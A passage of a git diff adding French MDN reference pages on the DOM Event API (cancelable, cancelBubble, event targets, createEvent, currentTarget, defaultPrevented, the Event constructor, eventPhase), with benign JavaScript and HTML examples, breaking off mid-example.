+document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'wheel'</span><span class="punctuation token">,</span> preventCancelableEvents<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p> </p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Si l'événement peut être annulé, ou non, est déterminé au moment de l'initialisation de celui-ci.</p>
+
+<p>Pour annuler un événement, utiliser la méthode {{domxref("event.preventDefault", "preventDefault()")}} sur celui-ci. Cela permet d'empêcher l'action par défaut associée à l'événement de s'exécuter.</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-cancelable', 'Event.cancelable')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-cancelable', 'Event.cancelable')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-canCancel', 'Event.cancelable')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.cancelable")}}</p>
diff --git a/files/fr/web/api/event/cancelbubble/index.html b/files/fr/web/api/event/cancelbubble/index.html
new file mode 100644
index 0000000000..fad1a2ca95
--- /dev/null
+++ b/files/fr/web/api/event/cancelbubble/index.html
@@ -0,0 +1,53 @@
+---
+title: Event.cancelBubble
+slug: Web/API/Event/cancelBubble
+tags:
+  - API
+  - Annulation
+  - DOM
+  - Evènement
+  - Propagation
+  - Propriétés
+translation_of: Web/API/Event/cancelBubble
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>La propriété <code><strong>Event.cancelBubble</strong></code> est un alias historique de {{domxref("Event.stopPropagation()")}}. Définir sa valeur à <code>true</code> (vrai) avant le renvoi à partir d'un gestionnaire d'évènements empêche la propagation de l'évènement. Dans les implémentations les plus tardives, cette définition à false (<em>faux</em>) ne fait rien. Voir {{anch("Compatibilité des navigateurs")}} pour plus de détails. </p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">event.cancelBubble = <em>bool;</em>
+<em>var bool</em> = event.cancelBubble;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre>elem.onclick = function(e) {
+ // fais des choses sympas ici
+  e.cancelBubble = true;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-cancelbubble', 'cancelBubble')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs"><a id="Compatibilité des navigateurs" name="Compatibilité des navigateurs"></a>Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.cancelBubble")}}</p>
+
+<div id="compat-desktop"> </div>
diff --git a/files/fr/web/api/event/comparaison_des_cibles_d_évènements/index.html b/files/fr/web/api/event/comparaison_des_cibles_d_évènements/index.html
new file mode 100644
index 0000000000..f938d0cff5
--- /dev/null
+++ b/files/fr/web/api/event/comparaison_des_cibles_d_évènements/index.html
@@ -0,0 +1,168 @@
+---
+title: Comparaison des cibles d'évènements
+slug: Web/API/Event/Comparaison_des_cibles_d_évènements
+tags:
+  - Cibles
+  - DOM
+  - évènements
+translation_of: Web/API/Event/Comparison_of_Event_Targets
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Event_targets" name="Event_targets">Cibles d'évènements</h3>
+
+<p>Il est facile de s'interroger sur la cible à examiner lors de l'écriture d'un gestionnaire d'événements. Cet article devrait clarifier l'utilisation des propriétés de la cible.</p>
+
+<p>Il y a 5 cibles à considérer :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propriété</th>
+   <th>Définie dans</th>
+   <th>Objectif</th>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.target" title="en/DOM/event.target">event.target</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-interface">DOM Event Interface</a></td>
+   <td>
+    <p>L'élément DOM sur le côté gauche de l'appel qui a déclenché cet événement, par exemple :</p>
+
+    <pre class="eval">
+<em>element</em>.dispatchEvent(<em>event</em>)
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.currentTarget" title="en/DOM/event.currentTarget">event.currentTarget</a></td>
+   <td><a class="external" href="https://www.w3.org/TR/DOM-Level-2/events.html#Events-interface">DOM Event Interface</a></td>
+   <td>La <a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-EventTarget"><code>EventTarget</code></a> (<em>cible d'évènement</em>) que les <a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-EventListener"><code>EventListeners</code></a> traitent actuellement. Au fur et à mesure de la capture et de la diffusion des évènements, cette valeur change.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.relatedTarget" title="en/DOM/event.relatedTarget">event.relatedTarget</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-MouseEvent">DOM MouseEvent Interface</a></td>
+   <td>Identifie une cible secondaire pour l'évènement.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.explicitOriginalTarget" title="en/DOM/event.explicitOriginalTarget">event.explicitOriginalTarget</a></td>
+   <td>{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}</td>
+   <td>{{ Non-standard_inline() }} Si l'évènement a été reciblé pour quelque raison autre que  un passage de limite anonyme, il sera défini sur la cible avant le reciblage. Par exemple, les évènements de souris sont reciblés vers leur noeud parent quand ils surviennent sur des noeuds de texte ({{ Bug("185889") }}), et, dans ce cas, <code>.target</code> affichera le parent <code>.explicitOriginalTarget</code> et le noeud de texte.<br>
+    Contrairement à <code>.originalTarget</code>, <code>.explicitOriginalTarget</code> n'aura jamais de contenu anonyme.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.originalTarget" title="en/DOM/event.originalTarget">event.originalTarget</a></td>
+   <td>{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}</td>
+   <td>{{ Non-standard_inline() }} La cible originale de l'évènement, avant tout reciblage. Voir <a href="/en-US/docs/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting" title="en/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting">Anonymous Content#Event_Flow_and_Targeting</a> pour plus de détails.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Use_of_explicitOriginalTarget_and_originalTarget" name="Use_of_explicitOriginalTarget_and_originalTarget">Utilisation de <code>explicitOriginalTarget</code> et <code>originalTarget</code></h3>
+
+<p>Problème : Seulement disponible dans un navigateur basé sur Mozilla ? Problème : Convient uniquement aux développeurs d'extensions ?</p>
+
+<h3 id="Examples" name="Examples">Exemples</h3>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt;
+    &lt;title&gt;Comparison of Event Targets&lt;/title&gt;
+    &lt;style&gt;
+        table {
+            border-collapse: collapse;
+            height: 150px;
+            width: 100%;
+        }
+        td {
+            border: 1px solid #ccc;
+            font-weight: bold;
+            padding: 5px;
+            min-height: 30px;
+        }
+        .standard {
+            background-color: #99ff99;
+        }
+        .non-standard {
+            background-color: #902D37;
+        }
+    &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;table&gt;
+    &lt;thead&gt;
+        &lt;tr&gt;
+            &lt;td class="standard"&gt;Original target dispatching the event &lt;small&gt;event.target&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="standard"&gt;Target who's event listener is being processed &lt;small&gt;event.currentTarget&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="standard"&gt;Identify other element (if any) involved in the event &lt;small&gt;event.relatedTarget&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="non-standard"&gt;If there was a retargetting of the event for some reason &lt;small&gt; event.explicitOriginalTarget&lt;/small&gt; contains the target before retargetting (never contains anonymous targets)&lt;/td&gt;
+            &lt;td class="non-standard"&gt;If there was a retargetting of the event for some reason &lt;small&gt; event.originalTarget&lt;/small&gt; contains the target before retargetting (may contain anonymous targets)&lt;/td&gt;
+        &lt;/tr&gt;
+    &lt;/thead&gt;
+    &lt;tr&gt;
+        &lt;td id="target"&gt;&lt;/td&gt;
+        &lt;td id="currentTarget"&gt;&lt;/td&gt;
+        &lt;td id="relatedTarget"&gt;&lt;/td&gt;
+        &lt;td id="explicitOriginalTarget"&gt;&lt;/td&gt;
+        &lt;td id="originalTarget"&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+&lt;/table&gt;
+&lt;p&gt;Clicking on the text will show the difference between explicitOriginalTarget, originalTarget and target&lt;/p&gt;
+&lt;script&gt;
+    function handleClicks(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('currentTarget').innerHTML = e.currentTarget;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;
+        document.getElementById('originalTarget').innerHTML = e.originalTarget;
+    }
+
+    function handleMouseover(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+    }
+
+    document.addEventListener('click', handleClicks, false);
+    document.addEventListener('mouseover', handleMouseover, false);
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Use_of_target_and_relatedTarget" name="Use_of_target_and_relatedTarget">Utilisation de <code>target</code> et <code>relatedTarget</code></h3>
+
+<p>La propriété <code>relatedTarget</code> (<em>cible associée</em>) pour l'évènement <code>mouseover</code>  détient le noeud que la souris avait précédemment atteint. Pour l'évènement <code>mouseout</code>, il détient le noeud que la souris a déplacé à.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Type d'évènement</th>
+   <th><a href="/en/DOM/event.target" title="en/DOM/event.target">event.target</a></th>
+   <th><a href="/en/DOM/event.relatedTarget" title="en/DOM/event.relatedTarget">event.relatedTarget</a></th>
+  </tr>
+  <tr>
+   <td><code>mouseover</code></td>
+   <td>La EventTarget (<em>cible d'évènement</em>) entré par le périphérique de pointage.</td>
+   <td>La EventTarget (<em>cible d'évènement</em>) dont le périphérique de pointage est sorti.</td>
+  </tr>
+  <tr>
+   <td><code>mouseout</code></td>
+   <td>La EventTarget (<em>cible d'évènement</em>) dont le périphérique de pointage est sorti.</td>
+   <td>the EventTarget (<em>cible d'évènement</em>) entré par le périphérique de pointage.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Problème : A également besoin de descriptions sur les évènements <code>dragenter</code> et <code>dragexit</code>.</p>
+
+<h4 id="Example" name="Example">Exemple</h4>
+
+<pre class="eval">&lt;hbox id="outer"&gt;
+  &lt;hbox id="inner"
+        onmouseover="dump('mouseover ' + event.relatedTarget.id + ' &gt; ' + event.target.id + '\n');"
+        onmouseout="dump('mouseout  ' + event.target.id + ' &gt; ' + event.relatedTarget.id + '\n');"
+        style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" /&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p> </p>
diff --git a/files/fr/web/api/event/createevent/index.html b/files/fr/web/api/event/createevent/index.html
new file mode 100644
index 0000000000..21d1c7adca
--- /dev/null
+++ b/files/fr/web/api/event/createevent/index.html
@@ -0,0 +1,40 @@
+---
+title: Event.createEvent()
+slug: Web/API/Event/createEvent
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Méthodes
+translation_of: Web/API/Document/createEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Crée un nouvel évènement, qui doit alors être initialisé en appelant sa méthode <code>initEvent()</code> .</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre><code>document.createEvent(type) </code></pre>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Une chaîne de caractère indiquant le type de l'évènement à créer.</dd>
+</dl>
+
+<p>Cette méthode renvoie un nouvel objet DOM {{ domxref("Event") }} du type spécifié, qui doit être initialisé avant utilisation.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre>var newEvent = document.createEvent("UIEvents");</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document" title="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document">DOM Level 2 Events</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.createEvent")}}</p>
diff --git a/files/fr/web/api/event/currenttarget/index.html b/files/fr/web/api/event/currenttarget/index.html
new file mode 100644
index 0000000000..e62854942c
--- /dev/null
+++ b/files/fr/web/api/event/currenttarget/index.html
@@ -0,0 +1,94 @@
+---
+title: Event.currentTarget
+slug: Web/API/Event/currentTarget
+tags:
+  - API
+  - Cible
+  - DOM
+  - Evènement
+  - Propriété
+translation_of: Web/API/Event/currentTarget
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété <code><strong>currentTarget</strong></code>, accessible en lecture seule et rattachée à l'interface {{domxref("Event")}}, identifie la cible courante pour l'évènement lorsque celui-ci traverse le DOM. Elle fait toujours référence à l'élément sur lequel le gestionnaire d'évènement a été attaché tandis que {{domxref("Event.target")}} identifie l'élément à partir duquel l'évènement s'est produit (<code>event.target</code> peut donc être un descendant de <code>event.currentTarget</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <em>currentEventTarget</em> = <em>event</em>.currentTarget;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>{{domxref("EventTarget")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p><code>Event.currentTarget</code> peut s'avérer utile lorsqu'on attache le même gestionnaire d'évènement à plusieurs éléments.</p>
+
+<pre class="brush: js notranslate">// Cette fonction masque la cible courante de l'évènement
+// et l'affiche dans la console.
+function hide(e){
+  e.currentTarget.style.visibility = 'hidden';
+  console.log(e.currentTarget);
+  // Lorsque cette fonction est utilisée en gestionnaire d'évènement
+  // on aura this === e.currentTarget
+}
+
+var ps = document.getElementsByTagName('p');
+
+for(var i = 0; i &lt; ps.length; i++){
+  // On affiche l'élément &lt;p&gt; qui a été cliqué dans la console
+  ps[i].addEventListener('click', hide, false);
+}
+// On affiche l'élément &lt;body&gt; dans la console
+document.body.addEventListener('click', hide, false);
+
+</pre>
+
+<div class="note">
+<p><strong>Note : </strong>La valeur de <code>event.currentTarget</code> est <strong>uniquement</strong> disponible lorsque l'évènement est géré. Ainsi, on ne pourra pas observer la valeur de <code>currentTarget</code> <em>a posteriori</em> (ex. si on a stocké la valeur d'<code>event</code> dans une variable lors de la gestion de l'évènement puis qu'on utilise celle-ci plus tard, <code>event.currentTarget</code> aura la valeur <code>null</code>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-currenttarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-currenttarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Events", "#dfn-current-event-target", "current event target")}}</td>
+   <td>{{Spec2("DOM3 Events")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-currentTarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Event.currentTarget")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Event/Comparaison_des_cibles_d_évènements">Comparaison des différentes cibles pour les évènements</a></li>
+</ul>
diff --git a/files/fr/web/api/event/defaultprevented/index.html b/files/fr/web/api/event/defaultprevented/index.html
new file mode 100644
index 0000000000..395c353226
--- /dev/null
+++ b/files/fr/web/api/event/defaultprevented/index.html
@@ -0,0 +1,56 @@
+---
+title: event.defaultPrevented
+slug: Web/API/Event/defaultPrevented
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Propriété
+translation_of: Web/API/Event/defaultPrevented
+---
+<p>{{APIRef("DOM")}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Retourne un booléen indiquant si {{domxref("event.preventDefault()")}} a été appelée sur l'évènement ou non.</p>
+
+<div class="note"><strong>Note :</strong> Cette propriété doit etre utilisée au lieu de la méthode <code>getPreventDefault()</code> qui n'est pas standard et est désormais dépréciée (voir {{bug(691151)}}).</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">bool = event.defaultPrevented </pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre> if (e.defaultPrevented) {
+   /* Le comportement par défaut a été inhibé */
+ }
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-defaultprevented', 'Event.defaultPrevented()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.defaultPrevented")}}</p>
+
+<ul>
+</ul>
diff --git a/files/fr/web/api/event/event/index.html b/files/fr/web/api/event/event/index.html
new file mode 100644
index 0000000000..aeb96638d8
--- /dev/null
+++ b/files/fr/web/api/event/event/index.html
@@ -0,0 +1,77 @@
+---
+title: Event()
+slug: Web/API/Event/Event
+tags:
+  - API
+  - Constructeur
+  - DOM
+  - évènements
+translation_of: Web/API/Event/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Le constructeur <code><strong>Event()</strong></code> crée un nouvel {{domxref("Event")}} (<em>évènement</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"> <em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>C'est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant le nom de l'évènement.</dd>
+ <dt><em>eventInit </em>{{optional_inline}}</dt>
+</dl>
+
+<dl>
+ <dd>C'est un dictionnaire <code>EventInit</code> ayant les champs suivants :
+
+ <ul>
+  <li><code>bubbles</code>: (facultatif) un {{jsxref("Boolean")}} indiquant si les événements sont propagés . Par défaut est <code>false</code> (<em>faux</em>).</li>
+  <li><code>cancelable</code>: (facultatif) un {{jsxref("Boolean")}} indiquant si l'évènement peut être annulé. Par défaut est <code>false</code> (<em>faux</em>) .</li>
+  <li><code>composed</code>: ( facultatif ) un {{jsxref("Boolean")}} indiquant si l'évènement déclenchera les écouteurs en dehors d'une racine shadow (voir {{domxref("Event.composed")}} pour plus de détails). Par défaut est <code>false</code> (<em>faux</em>) .<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">// crée un évènement "look" qui est diffusé et ne peut être annulé
+var evt = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(evt);
+
+// l'événement peut être envoyé à partir de n'importe quel élément, pas seulement le document
+myDiv.dispatchEvent(evt);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-event','Event()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/fr/web/api/event/eventphase/index.html b/files/fr/web/api/event/eventphase/index.html
new file mode 100644
index 0000000000..439f769f0a
--- /dev/null
+++ b/files/fr/web/api/event/eventphase/index.html
@@ -0,0 +1,196 @@
+---
+title: Event.eventPhase
+slug: Web/API/Event/eventPhase
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Flux
+  - Phase
+  - Propriétés
+translation_of: Web/API/Event/eventPhase
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>Indique quelle phase du flux d'événements est actuellement évaluée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js"><em>var phase</em> = event.eventPhase;
+</pre>
+
+<p>Retourne un entier qui spécifie la phase courante d'évaluation du flux d'événements. Les valeurs possibles sont listées dans {{anch("Constantes de phase d'événement")}}.</p>
+
+<h2 id="Constantes">Constantes</h2>
+
+<h3 id="Constantes_de_phase_d'événement"><a id="Constantes de phase d'événement" name="Constantes de phase d'événement"></a>Constantes de phase d'événement</h3>
+
+<p>Ces valeurs décrivent quelle est la phase du flux d'événements actuellement évalué.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Event.NONE</code></td>
+   <td>0</td>
+   <td>
+    <p>Aucun événement n'est actuellement traité.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>Event.CAPTURING_PHASE</code></td>
+   <td>1</td>
+   <td>
+    <p>L'événement se propage à travers les objets ancêtres de la cible. Ce processus commence avec {{domxref("Window")}}, puis {{domxref("Document")}}, ensuite {{domxref("HTMLHtmlElement")}} et ainsi de suite à travers les éléments jusqu'à ce que le parent de la cible soit atteint. {{domxref("EventListener", "Event listeners", "", 1)}} sont enregistrés pour le mode capture lorsque {{domxref("EventTarget.addEventListener()")}} est appelé durant cette phase.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>Event.AT_TARGET</code></td>
+   <td>2</td>
+   <td>L'événement est arrivé à {{domxref("EventTarget", "the event's target", "", 1)}}. Les écouteurs d'événements  enregistrés pour cette phase sont appelés à ce moment. Si {{domxref("Event.bubbles")}} vaut <code>false</code> (<em>faux</em>), le traitement de l'événement est terminé une fois la phase complète.</td>
+  </tr>
+  <tr>
+   <td><code>Event.BUBBLING_PHASE</code></td>
+   <td>3</td>
+   <td>L'événement se propage à rebours à travers les ancêtres de la cible dans l'ordre inverse, commençant avec le parent, et atteignant finalement le contenant {{domxref("Window")}}. Ceci est connu comme propagation et arrive seulement si {{domxref("Event.bubbles")}} vaut <code>true</code> (<em>vrai</em>). Les {{domxref("EventListener", "Event listeners", "", 1)}} enregistrés pour cette phase sont déclenchés durant ce traitement.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pour plus de détails, voir <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">section 3.1, Event dispatch and DOM event flow</a> (en) de la spécification du DOM niveau 3 sur les évènements .</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h4&gt;Event Propagation Chain&lt;/h4&gt;
+&lt;ul&gt;
+  &lt;li&gt;Click 'd1'&lt;/li&gt;
+  &lt;li&gt;Analyse event propagation chain&lt;/li&gt;
+  &lt;li&gt;Click next div and repeat the experience&lt;/li&gt;
+  &lt;li&gt;Change Capturing mode&lt;/li&gt;
+  &lt;li&gt;Repeat the experience&lt;/li&gt;
+&lt;/ul&gt;
+&lt;input type="checkbox" id="chCapture" /&gt;
+&lt;label for="chCapture"&gt;Use Capturing&lt;/label&gt;
+ &lt;div id="d1"&gt;d1
+  &lt;div id="d2"&gt;d2
+      &lt;div id="d3"&gt;d3
+          &lt;div id="d4"&gt;d4&lt;/div&gt;
+      &lt;/div&gt;
+  &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div id="divInfo"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  margin: 20px;
+  padding: 4px;
+  border: thin black solid;
+}
+
+#divInfo {
+  margin: 18px;
+  padding: 8px;
+  background-color:white;
+  font-size:80%;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> clear <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">,</span> divInfo <span class="operator token">=</span> <span class="keyword token">null</span><span class="punctuation token">,</span> divs <span class="operator token">=</span> <span class="keyword token">null</span><span class="punctuation token">,</span> useCapture <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+window<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  divInfo <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"divInfo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  divs <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">'div'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  chCapture <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"chCapture"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  chCapture<span class="punctuation token">.</span>onclick <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">RemoveListeners</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="function token">AddListeners</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="function token">Clear</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="function token">AddListeners</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">RemoveListeners</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> divs<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> d <span class="operator token">=</span> divs<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">;</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>d<span class="punctuation token">.</span>id <span class="operator token">!=</span> <span class="string token">"divInfo"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      d<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> OnDivClick<span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      d<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> OnDivClick<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">AddListeners</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
